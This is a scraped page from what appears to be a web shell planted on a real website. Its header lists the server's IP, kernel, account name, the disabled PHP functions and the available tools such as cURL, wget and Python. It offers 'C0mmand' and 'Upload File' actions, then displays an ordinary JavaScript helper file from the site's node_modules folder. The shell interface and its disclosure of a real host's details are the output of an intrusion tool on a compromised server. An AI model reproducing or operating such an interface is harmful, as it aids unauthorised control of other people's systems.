Server IP : 92.205.26.207 / Your IP : 216.73.216.16 Web Server : Apache System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64 User : zikryat ( 1002) PHP Version : 8.3.23 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/zikryat/public_html/node_modules/request-ip/lib/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
"use strict"; var regexes = { ipv4: /^(?:(?:\d|[1-9]\d|1\d{2}|2[0-4]\d|25[0-5])\.){3}(?:\d|[1-9]\d|1\d{2}|2[0-4]\d|25[0-5])$/, ipv6: /^((?=.*::)(?!.*::.+::)(::)?([\dA-F]{1,4}:(:|\b)|){5}|([\dA-F]{1,4}:){6})((([\dA-F]{1,4}((?!\3)::|:\b|$))|(?!\2\3)){2}|(((2[0-4]|1\d|[1-9])?\d|25[0-5])\.?\b){4})$/i }; function not(func) { return function () { return !func.apply(null, Array.prototype.slice.call(arguments)); }; } function existy(value) { return value != null; } function ip(value) { return existy(value) && regexes.ipv4.test(value) || regexes.ipv6.test(value); } function object(value) { return Object(value) === value; } function string(value) { return Object.prototype.toString.call(value) === '[object String]'; } var is = { existy: existy, ip: ip, object: object, string: string, not: { existy: not(existy), ip: not(ip), object: not(object), string: not(string) } }; module.exports = is;